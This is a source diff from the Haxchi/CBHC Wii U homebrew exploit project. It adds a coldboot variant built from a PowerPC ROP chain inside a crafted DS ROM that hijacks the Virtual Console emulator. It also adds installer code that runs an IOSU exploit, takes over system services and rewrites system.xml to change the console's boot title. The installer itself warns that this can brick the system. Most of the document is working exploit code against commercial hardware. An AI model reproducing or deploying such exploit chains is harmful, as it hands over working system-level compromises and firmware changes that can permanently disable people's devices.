uint8_t unk_volume; /* One less than volume */
char unknowna4[0xac - 0xa4];
} VPADData;
#define VPAD_BUTTON_A 0x8000
#define VPAD_BUTTON_B 0x4000
#define VPAD_BUTTON_X 0x2000
#define VPAD_BUTTON_Y 0x1000
#define VPAD_BUTTON_LEFT 0x0800
#define VPAD_BUTTON_RIGHT 0x0400
#define VPAD_BUTTON_UP 0x0200
#define VPAD_BUTTON_DOWN 0x0100
#define VPAD_BUTTON_ZL 0x0080
#define VPAD_BUTTON_ZR 0x0040
#define VPAD_BUTTON_L 0x0020
#define VPAD_BUTTON_R 0x0010
#define VPAD_BUTTON_PLUS 0x0008
#define VPAD_BUTTON_MINUS 0x0004
#define VPAD_BUTTON_HOME 0x0002
#define VPAD_BUTTON_SYNC 0x0001
#endif

20
dsrom/CBHC/types.h Normal file
View File

@ -0,0 +1,20 @@
#ifndef TYPES_H
#define TYPES_H
typedef unsigned long long uint64_t;
typedef long long int64_t;
typedef unsigned int uint32_t;
typedef int int32_t;
typedef unsigned short uint16_t;
typedef short int16_t;
typedef unsigned char uint8_t;
typedef char int8_t;
typedef uint32_t size_t;
typedef _Bool bool;
#define true 1
#define false 0
#define null 0
#endif /* TYPES_H */

View File

@ -6,6 +6,16 @@ else
ZIP = zip
endif
ifeq ($(CB), 1)
HAXCHI_S = haxchi_cb.s
ROP_S = haxchi_rop_cb.s
ROP_BIN = haxchi_rop_cb.bin
else
HAXCHI_S = haxchi.s
ROP_S = haxchi_rop.s
ROP_BIN = haxchi_rop.bin
endif
all: setup animalcrossing brainage dkjclimber guardiansigns kirby kirbymassattack mariokartds masterofdisguise newsmb_eur partnersintime \
pokemonranger sfcommand sm64ds yoshids zeldaph zeldast \
animalcrossing.zip brainage.zip dkjclimber.zip guardiansigns.zip kirby.zip kirbymassattack.zip mariokartds.zip masterofdisguise.zip \
@ -47,154 +57,155 @@ setup:
@cd option_select && make && cd ..
@cd hbl_loader && make && cd ..
@cd cfw_booter && make && cd ..
@cd CBHC && make && cd ..
setup_animalcrossing:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f animalcrossing_defs.s defines.s
setup_brainage:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f brainage_defs.s defines.s
setup_dkjclimber:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f dkjclimber_defs.s defines.s
setup_guardiansigns:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f guardiansigns_defs.s defines.s
setup_kirby:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f kirby_defs.s defines.s
setup_kirbymassattack:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f kirbymassattack_defs.s defines.s
setup_mariokartds:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f mariokartds_defs.s defines.s
setup_masterofdisguise:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f masterofdisguise_defs.s defines.s
setup_newsmb_eur:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f newsmb_eur_defs.s defines.s
setup_pokemonranger:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f pokemonranger_defs.s defines.s
setup_partnersintime:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f partnersintime_defs.s defines.s
setup_sfcommand:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f sfcommand_defs.s defines.s
setup_sm64ds:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f sm64ds_defs.s defines.s
setup_yoshids:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f yoshids_defs.s defines.s
setup_zeldaph:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f zeldaph_defs.s defines.s
setup_zeldast:
@rm -f defines.s haxchi_rop.bin haxchi_rop_hook.bin
@rm -f defines.s $(ROP_BIN) haxchi_rop_hook.bin
@cp -f zeldast_defs.s defines.s
animalcrossing.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds animalcrossing.nds
brainage.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds brainage.nds
@cp brainage.nds yoshitouchandgo.nds
dkjclimber.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds dkjclimber.nds
guardiansigns.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds guardiansigns.nds
kirby.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds kirby.nds
kirbymassattack.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds kirbymassattack.nds
mariokartds.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds mariokartds.nds
@cp mariokartds.nds newsmb.nds
masterofdisguise.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds masterofdisguise.nds
newsmb_eur.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds newsmb_eur.nds
pokemonranger.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds pokemonranger.nds
partnersintime.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds partnersintime.nds
sfcommand.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds sfcommand.nds
sm64ds.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds sm64ds.nds
@cp sm64ds.nds kirbycanvascurse.nds
yoshids.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds yoshids.nds
@cp yoshids.nds wwtouched.nds
@cp yoshids.nds bigbrainacademy.nds
zeldaph.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds zeldaph.nds
zeldast.nds:
@armips haxchi_rop.s
@armips haxchi.s
@armips $(ROP_S)
@armips $(HAXCHI_S)
@mv rom.nds zeldast.nds
@cp zeldast.nds explorersofsky.nds
@cp zeldast.nds shadowsofalmia.nds
@ -259,4 +270,5 @@ clean:
@cd option_select && make clean && cd ..
@cd hbl_loader && make clean && cd ..
@cd cfw_booter && make clean && cd ..
@cd CBHC && make clean && cd ..
@echo "all cleaned up !"

40
dsrom/haxchi_cb.s Normal file
View File

@ -0,0 +1,40 @@
.include "defines.s"
.create "rom.nds", 0
.nds
.org 0x000
.ascii "HAXCHI" ; Game Title
.org 0x00C
.ascii "HAXX" ; Gamecode
.ascii "01" ; Makercode
.byte 0x00 ; Unitcode
.org 0x020
.word arm9_data ; ARM9 rom_offset
.word 0x2000800 ; ARM9 entry_address
.word 0x2000000 ; ARM9 ram_address
.word arm9_data_end - arm9_data ; ARM9 size
.word arm7_data ; ARM7 rom_offset
.word 0x2000000 ; ARM7 entry_address
.word ARM7_ROM_MEM2_START + HAX_TARGET_ADDRESS ; ARM7 ram_address
.word arm7_data_end - arm7_data ; ARM7 size
.org 0x080
.word total_size ; Total Used ROM size
.word 0x4000 ; ROM Header Size
.org 0x8000
arm9_data:
.incbin "haxchi_rop_cb.bin"
arm9_data_end:
.align 0x1000
arm7_data:
.incbin "haxchi_rop_hook.bin"
arm7_data_end:
total_size:
.Close

269
dsrom/haxchi_rop_cb.s Normal file
View File

@ -0,0 +1,269 @@
.include "coreinit.s"
.include "defines.s"
; more useful definitions
HBL_LOADER_ADR equ (0x01800000)
CBHC_ADDR equ (0x01808000)
NERD_THREAD0OBJECT equ (HAX_TARGET_ADDRESS - 0x1000)
NERD_THREAD2OBJECT equ (HAX_TARGET_ADDRESS - 0x2000)
.macro set_sp,v
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
.word 0xDEADBABE ; r30
.word v ; r31
.word 0xDEAD0001 ; garbage
.word MR_R11R31_LMW_R26R1x8_LWZ_R0x24_MTLR_R0_ADDI_R1x20_CLRLWI_R3R11x18_BLR
.word 0xDEADBABE ; r26
.word 0xDEADBABE ; r27
.word 0xDEADBABE ; r28
.word 0xDEADBABE ; r29
.word 0xDEADBABE ; r30
.word 0xDEADBABE ; r31
.word 0xDEAD0001 ; garbage
.word LWZ_R0R11x4_R31R11xM4_MTLR_R0_MR_R1R11_BLR
.endmacro
.macro call_func,f,arg1,arg2,arg3,arg4
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
.word 0xDEAD0001 ; garbage
.word 0xDEADBABE ; r21
.word 0xDEADBABE ; r22
.word 0xDEADBABE ; r23
.word 0xDEADBABE ; r24
.word 0xDEADBABE ; r25
.word 0xDEADBABE ; r26
.word f ; r27 (ctr)
.word arg4 ; r28 (r6)
.word arg3 ; r29 (r5)
.word arg2 ; r30 (r4)
.word arg1 - 2 ; r31 (r3 - 2)
; sp is here when LMW_R26R1x18 happens
.word 0xDEAD0004 ; garbage
.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
.word 0xDEAD0008 ; garbage
.word 0xDEAD000C ; garbage
.word 0xDEAD0010 ; garbage
.word 0xDEAD0014 ; garbage
.word 0xDEADBABE ; r26
.word 0xDEADBABE ; r27
.word 0xDEADBABE ; r28
.word 0xDEADBABE ; r29
.word 0xDEADBABE ; r30
.word 0xDEADBABE ; r31
; final sp is here
.word 0xDEADBABE ; garbage
.endmacro
.macro call_func_6args,f,arg1,arg2,arg3,arg4,arg5,arg6
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR
.word 0xDEAD0001 ; garbage
.word arg6 ; r21 (r8)
.word 0xDEADBABE ; r22
.word 0xDEADBABE ; r23
.word arg1 ; r24 (r3)
.word arg2 ; r25 (r4)
.word 0xDEADBABE ; r26
.word arg3 ; r27 (r5)
.word arg4 ; r28 (r6)
.word arg5 ; r29 (r7)
.word LMW_R21R1xC_LWZ_R0R1x3C_MTLR_R0_ADDI_R1_x38_BLR ; r30 (ctr)
.word 0xDEADBABE ; r31
; sp is here when LMW_R26R1x18 happens
.word 0xDEAD0004 ; garbage
.word MTCTR_R30_MR_R8R21_R7R29_R6R28_R5R27_R4R25_R3R24_BCTRL
.word 0xDEAD0001 ; garbage
.word 0xDEADBABE ; r21
.word 0xDEADBABE ; r22
.word 0xDEADBABE ; r23
.word 0xDEADBABE ; r24
.word 0xDEADBABE ; r25
.word 0xDEADBABE ; r26
.word f ; r27 (ctr)
.word arg4 ; r28 (r6)
.word arg3 ; r29 (r5)
.word arg2 ; r30 (r4)
.word arg1 - 2 ; r31 (r3 - 2)
; sp is here when LMW_R26R1x18 happens
.word 0xDEAD0004 ; garbage
.word MTCTR_R27_ADDI_R31x2_MR_R3R31_R4R30_R5R29_R6R28_BCTRL_LMW_R26R1x18_MTLR_R1x34_ADDI_R1x30_BLR
.word 0xDEAD0008 ; garbage
.word 0xDEAD000C ; garbage
.word 0xDEAD0010 ; garbage
.word 0xDEAD0014 ; garbage
.word 0xDEADBABE ; r26
.word 0xDEADBABE ; r27
.word 0xDEADBABE ; r28
.word 0xDEADBABE ; r29
.word 0xDEADBABE ; r30
.word 0xDEADBABE ; r31
; final sp is here
.word 0xDEADBABE ; garbage
.endmacro
; hacked from arm7 ram offset (unsafe, game stack pointer)
.create "haxchi_rop_hook.bin", HAX_TARGET_ADDRESS
.arm.big
rop_hook_start:
;call_func BCTRL, 0x0, 0x0, 0x0, 0x0 ; infinite loop
;call_func OSFATAL, 0x1007E7A8, 0, 0, 0
; move stack pointer to safe area
set_sp (rop_start - 4)
.Close
; original game arm9 ram offset (safe, normally arm9 code)
.create "haxchi_rop_cb.bin", ARM9_ROM_LOCATION
.arm.big
rop_start:
; do hachihachi cleanups so we can use everything safely
call_func HACHI_APPLICATION_SHUTDOWNANDDESTROY, HACHI_APPLICATION_PTR, 0, 0, 0
call_func NERD_FASTWIIU_SHUTDOWN, 0, 0, 0, 0
call_func CORE_SHUTDOWN, 0, 0, 0, 0
; set up hbl_loader in core 0
call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, LWZ_R0xAFC_MTLR_R0_ADDI_R1xAF8_BLR, 0x1007E7A8, thread0_param, 0x0, 0x0
; the code below prepares the stack for the thread in core 0
; load memcpy jump into r3
.word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR
.word MEMCPY ; r3
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
; more r3 into r12 for our memcpy jump at the end of this
.word MR_R12_R3_CMPLW_R12_R0_LI_R3_0_BEQ_ADDI_R3_R12x10_LWZ_R0_R1x14_MTLR_R0_ADDI_R1x10_BLR
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
; prepare r31 to be a valid value for the next call
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
.word 0xDEADBABE ; r30
.word (core0rop_end - core0rop) ; r31 (has to be the same as r5 in the next call)
.word 0xDEAD0001 ; garbage
; get r5 ready for the length we want to copy
.word LWZ_R5_R1x8_CMPLW_R5_R31_BNE_MR_R3_R5_LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_BLR
.word (core0rop_end - core0rop) ; r5
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; r30
.word 0xDEAD0001 ; r31
.word 0xDEAD0001 ; garbage
; get r4 ready for the data we want to copy
.word LWZ_R4_R1xC_STW_R12_R1x8_LWZ_R3_R1x8_LWZ_R0_R1x1C_MTLR_R0_ADDI_R1x18_BLR
.word 0xDEAD0001 ; garbage
.word core0rop ; r4
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
; prepare r31 to be a valid value for the next call
.word LWZ_R0R1x14_LWZ_R30R1x8_R31R1xC_MTLR_R0_ADDI_R1x10_BLR
.word 0xDEADBABE ; r30
.word (HAX_TARGET_ADDRESS-0x3000) ; r31 (has to be valid here)
.word 0xDEAD0001 ; garbage
; loads the required value for the addition onto r3 later on
.word LWZ_R7_R1x10_LWZ_R8_R1x14_STW_R7_R31x0_STW_R8_R31x0_LWZ_R0_R1x2C_LWZ_R31_R0x24_MTLR_R0_LWZ_R30_R0x20_ADDI_R1x28_BLR
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
.word (0x00800000 - 0x30 + 0xAFC) ; r7
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; r30
.word 0xDEAD0001 ; r31
.word 0xDEAD0001 ; garbage
; loads pointer to new thread sp into r3
.word LWZ_R3_8_R1_LWZ_R0x14_MTLR_R0_ADDI_R1x10_BLR
.word (NERD_THREAD0OBJECT+4) ; r3
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
; r3 contains new thread sp end after this load
.word LWZ_R3_4_R3_LWZ_R0xC_MTLR_R0_ADDI_R1x8_BLR
.word 0xDEAD0001 ; garbage
; r3 contains code injection thread sp after this add
.word LWZ_R0_R1x1C_LWZ_R30_R1x10_MTLR_R0_LWZ_R31_R1x14_ADDI_R1x18_ADD_R3_R7_BLR
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; r30
.word 0xDEAD0001 ; r31
.word 0xDEAD0001 ; garbage
; jump to previously prepared r12 for memcpy
.word MTCTR_R12_BCTRL_LI_R3_0_LWZ_R0_R1x14_LWZ_R31_R1xC_MTLR_R0_ADDI_R1x10_BLR
.word 0xDEAD0001 ; garbage
.word 0xDEAD0001 ; r31
.word 0xDEAD0001 ; garbage
; thread stack is prepared after this point
; wait for hbl_loader to do its job
call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
call_func NERD_JOINTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
; prepare system for foreground release
call_func OSSAVESDONE_READYTORELEASE, 0, 0, 0, 0
; instruct all 3 cores to release foreground to prepare mii studio app launch
call_func_6args NERD_CREATETHREAD, NERD_THREAD0OBJECT, OSRELEASEFOREGROUND, 0, thread0_param, 0x0, 0x0
call_func NERD_STARTTHREAD, NERD_THREAD0OBJECT, 0x0, 0x0, 0x0
call_func_6args NERD_CREATETHREAD, NERD_THREAD2OBJECT, OSRELEASEFOREGROUND, 0, thread2_param, 0x0, 0x0
call_func NERD_STARTTHREAD, NERD_THREAD2OBJECT, 0x0, 0x0, 0x0
; we are the main thread in core 1 so we call this direct
call_func OSRELEASEFOREGROUND, 0, 0, 0, 0
; launch mii studio app
.word _START_EXIT
core0rop:
; switch codegen to RW
call_func OSCODEGEN_SWITCHSECMODE, 0x0, 0x0, 0x0, 0x0
; memcpy code
call_func MEMCPY, HBL_LOADER_ADR, hbl_loader, hbl_loader_end - hbl_loader, 0x0
call_func MEMCPY, CBHC_ADDR, cbhc, cbhc_end - cbhc, 0x0
call_func DC_FLUSHRANGE, HBL_LOADER_ADR, 0xFFE0, 0x0, 0x0
; switch codegen to RX
call_func OSCODEGEN_SWITCHSECMODE, 0x1, 0x0, 0x0, 0x0
call_func IC_INVALIDATERANGE, HBL_LOADER_ADR, 0xFFE0, 0x0, 0x0
; execute option_select in codegen
.word CBHC_ADDR
core0rop_end:
; core 0 thread params
output0_string:
.ascii "hax0thread"
.byte 0x00
.align 0x4
thread0_param:
.word output0_string
.word 0x00800000 ; stack size
.word 0x00000010 ; thread prio
.halfword 0x0001 ; thread affinity (core0)
; core 2 thread params
output2_string:
.ascii "hax2thread"
.byte 0x00
.align 0x4
thread2_param:
.word output2_string
.word 0x00800000 ; stack size
.word 0x00000010 ; thread prio
.halfword 0x0004 ; thread affinity (core2)
hbl_loader:
.incbin "hbl_loader.bin"
hbl_loader_end:
cbhc:
.incbin "cbhc.bin"
cbhc_end:
.Close

View File

@ -1,3 +1,9 @@
/*
* Copyright (C) 2016 FIX94
*
* This software may be modified and distributed under the terms
* of the MIT license. See the LICENSE file for details.
*/
#include <string.h>
#include "types.h"
#include "coreinit.h"

View File

@ -28,7 +28,11 @@ export OBJCOPY := $(PREFIX)objcopy
# SOURCES is a list of directories containing source code
# INCLUDES is a list of directories containing extra header files
#---------------------------------------------------------------------------------
ifeq ($(CB),1)
TARGET := cbhc
else
TARGET := haxchi
endif
BUILD := build
BUILD_DBG := $(TARGET)_dbg
SOURCES := src \
@ -40,13 +44,18 @@ DATA := data
INCLUDES := src payload
ifeq ($(CB),1)
DEFS := -DCB=1
else
DEFS :=
endif
#---------------------------------------------------------------------------------
# options for code generation
#---------------------------------------------------------------------------------
CFLAGS := -std=gnu11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS)
CXXFLAGS := -std=gnu++11 -mrvl -mcpu=750 -meabi -mhard-float -ffast-math \
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE)
-O3 -Wall -Wextra -Wno-unused-parameter -Wno-strict-aliasing $(INCLUDE) $(DEFS)
ASFLAGS := -mregnames
LDFLAGS := -nostartfiles -Wl,-Map,$(notdir $@).map,-wrap,malloc,-wrap,free,-wrap,memalign,-wrap,calloc,-wrap,realloc,-wrap,malloc_usable_size,-wrap,_malloc_r,-wrap,_free_r,-wrap,_realloc_r,-wrap,_calloc_r,-wrap,_memalign_r,-wrap,_malloc_usable_size_r,-wrap,valloc,-wrap,_valloc_r,-wrap,_pvalloc_r,--gc-sections
@ -139,7 +148,7 @@ $(CURDIR)/payload/arm_user_bin.h:
#---------------------------------------------------------------------------------
clean:
@echo clean ...
@rm -fr $(BUILD) $(OUTPUT).elf $(OUTPUT).bin $(BUILD_DBG).elf $(CURDIR)/payload
@rm -fr $(BUILD) $(CURDIR)/*.elf $(CURDIR)/payload
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_user -f $(CURDIR)/arm_user/Makefile clean
@$(MAKE) --no-print-directory -C $(CURDIR)/wupserver -f $(CURDIR)/wupserver/Makefile clean
@$(MAKE) --no-print-directory -C $(CURDIR)/arm_kernel -f $(CURDIR)/arm_kernel/Makefile clean

View File

@ -23,7 +23,10 @@
#include "gameList.h"
static const char *sdCardVolPath = "/vol/storage_sdcard";
#ifdef CB
static const char *systemXmlPath = "/vol/system/config/system.xml";
static const char *syshaxXmlPath = "/vol/system/config/syshax.xml";
#endif
//just to be able to call async
void someFunc(void *arg)
{
@ -121,7 +124,11 @@ int availSort(const void *c1, const void *c2)
void printhdr_noflip()
{
println_noflip(0,"Haxchi v2.2u1 by FIX94");
#ifdef CB
println_noflip(0,"CBHC v1.0 by FIX94");
#else
println_noflip(0,"Haxchi v2.3 by FIX94");
#endif
println_noflip(1,"Credits to smea, plutoo, yellows8, naehrwert, derrek and dimok");
}
@ -297,6 +304,9 @@ int Menu_Main(void)
redraw = 0;
}
}
#ifdef CB
int action = 0;
#endif
const parsedList_t *SelectedGame = &gAvail[PosX + ScrollX];
for(j = 0; j < 2; j++)
{
@ -305,8 +315,14 @@ int Menu_Main(void)
printhdr_noflip();
println_noflip(2,"You have selected the following game:");
println_noflip(3,SelectedGame->name);
#ifdef CB
println_noflip(4,"Press A to install CBHC, B to remove coldboothax, HOME to Exit.");
println_noflip(5,"WARNING, INSTALLING CBHC CAN POTENTIALLY BRICK YOUR SYSTEM!");
println_noflip(6,"NEVER UNINSTALL OR MOVE THE SELECTED GAME OR YOUR WIIU IS DEAD!");
#else
println_noflip(4,"This will install Haxchi. To remove it you have to delete and");
println_noflip(5,"re-install the game. If you are sure press A, else press HOME.");
#endif
OSScreenFlipBuffersEx(0);
OSScreenFlipBuffersEx(1);
usleep(25000);
@ -328,16 +344,38 @@ int Menu_Main(void)
//lets go!
if(vpad.btns_d & VPAD_BUTTON_A)
break;
#ifdef CB
if(vpad.btns_d & VPAD_BUTTON_B)
{
action = 1;
break;
}
#endif
}
//will inject our custom mcp code
#ifdef CB
//grab this before doing iosu exploit
unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp);
OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId);
unsigned long long sysmenuIdUll = _SYSGetSystemApplicationTitleId(0);
char sysmenuId[20];
memset(sysmenuId, 0, 20);
sprintf(sysmenuId, "%08x%08x", (u32)((sysmenuIdUll>>32)&0xFFFFFFFF),(u32)(sysmenuIdUll&0xFFFFFFFF));
char new_title_id[20];
memset(new_title_id, 0, 20);
sprintf(new_title_id, "00050000%08x", SelectedGame->tid);
int line = 7;
#else
int line = 6;
#endif
//will inject our custom mcp code
println(line++,"Doing IOSU Exploit...");
IOSUExploit();
int fsaFd = -1;
int sdMounted = 0;
int sdFd = -1, mlcFd = -1;
int sdFd = -1, mlcFd = -1, slcFd = -1;
//done with iosu exploit, take over mcp
if(MCPHookOpen() < 0)
@ -353,6 +391,94 @@ int Menu_Main(void)
println(line++,"FSA could not be opened!");
goto prgEnd;
}
#ifdef CB
if(action == 1)
{
if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "rb", &slcFd) >= 0)
{
//read in system xml file
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
size_t sysXmlSize = stats.size;
char *sysXmlBuf = malloc(sysXmlSize+1);
memset(sysXmlBuf, 0, sysXmlSize+1);
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
slcFd = -1;
xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "system.xml", "utf-8", 0);
//verify title id
int idFound = 0, idCorrect = 0;
xmlNode *root_element = xmlDocGetRootElement(doc);
xmlNode *cur_node = NULL;
for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) {
if (cur_node->type == XML_ELEMENT_NODE) {
if(memcmp(cur_node->name, "default_title_id", 17) == 0)
{
if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue;
if(memcmp(new_title_id, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++;
idFound++;
}
}
}
xmlFreeDoc(doc);
free(sysXmlBuf);
if(idFound != 1)
println(line++,"default_title_id missing!");
else if(idCorrect != 1)
println(line++,"default_title_id not set to selected DS VC!");
else
{
if(IOSUHAX_FSA_OpenFile(fsaFd, syshaxXmlPath, "rb", &slcFd) >= 0)
{
//read in system xml file
fileStat_s stats;
IOSUHAX_FSA_StatFile(fsaFd, slcFd, &stats);
size_t sysXmlSize = stats.size;
sysXmlBuf = malloc(sysXmlSize+1);
memset(sysXmlBuf, 0, sysXmlSize+1);
fsa_read(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
slcFd = -1;
xmlDocPtr doc = xmlReadMemory(sysXmlBuf, sysXmlSize, "syshax.xml", "utf-8", 0);
//verify title id
int idFound = 0, idCorrect = 0;
xmlNode *root_element = xmlDocGetRootElement(doc);
xmlNode *cur_node = NULL;
for (cur_node = root_element->children; cur_node; cur_node = cur_node->next) {
if (cur_node->type == XML_ELEMENT_NODE) {
if(memcmp(cur_node->name, "default_title_id", 17) == 0)
{
if(xmlNodeGetContent(cur_node) == NULL || !strlen((char*)xmlNodeGetContent(cur_node))) continue;
if(memcmp(sysmenuId, (char*)xmlNodeGetContent(cur_node), 17) == 0) idCorrect++;
idFound++;
}
}
}
xmlFreeDoc(doc);
if(idFound != 1)
println(line++,"default_title_id missing!");
else if(idCorrect != 1)
println(line++,"default_title_id not set to System Menu!");
else
{
if(IOSUHAX_FSA_OpenFile(fsaFd, systemXmlPath, "wb", &slcFd) >= 0)
{
println(line++,"Restoring system.xml...");
fsa_write(fsaFd, slcFd, sysXmlBuf, sysXmlSize);
IOSUHAX_FSA_CloseFile(fsaFd, slcFd);
slcFd = -1;
println(line++,"Removed coldboothax!");
}
}
free(sysXmlBuf);
}
else
println(line++,"syshax.xml backup not found, aborting!");
}
}
goto prgEnd;
}
#endif
int ret = IOSUHAX_FSA_Mount(fsaFd, "/dev/sdcard01", sdCardVolPath, 2, (void*)0, 0);
if(ret < 0)
{
@ -380,9 +506,14 @@ int Menu_Main(void)
}
char sdHaxchiPath[256];
#ifdef CB
sprintf(sdHaxchiPath,"%s/cbhc",sdCardVolPath);
#else
sprintf(sdHaxchiPath,"%s/haxchi",sdCardVolPath);
#endif
char sdPath[256];
#ifndef CB
sprintf(sdPath,"%s/config.txt",sdHaxchiPath);
if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0)
{
@ -407,6 +538,7 @@ int Menu_Main(void)
}
free(cfgBuf);
}
#endif
sprintf(sdPath,"%s/title.txt",sdHaxchiPath);
if(IOSUHAX_FSA_OpenFile(fsaFd, sdPath, "rb", &sdFd) >= 0)
@ -449,11 +581,10 @@ int Menu_Main(void)
xmlSaveNoEmptyTags = 1; //keeps original style
xmlDocDumpFormatMemoryEnc(doc, &newXml, &newSize, "utf-8", 0);
xmlFreeDoc(doc);
free(metaBuf);
if(newXml != NULL && newSize > 0)
{
//libxml2 adds in extra \n at the end
if(newXml[newSize-1] == '\n')
if(newXml[newSize-1] == '\n' && metaBuf[metaSize-1] != '\n')
{
newXml[newSize-1] = '\0';
newSize--;
@ -464,7 +595,7 @@ int Menu_Main(void)
println(line++,"Changing game title...");
//UTF-8 BOM
char bom[3] = { 0xEF, 0xBB, 0xBF };
if(memcmp(newXml, bom, 3) != 0)
if(memcmp(newXml, bom, 3) != 0 && memcmp(metaBuf, bom, 3) == 0)
fsa_write(fsaFd, mlcFd, bom, 0x03);
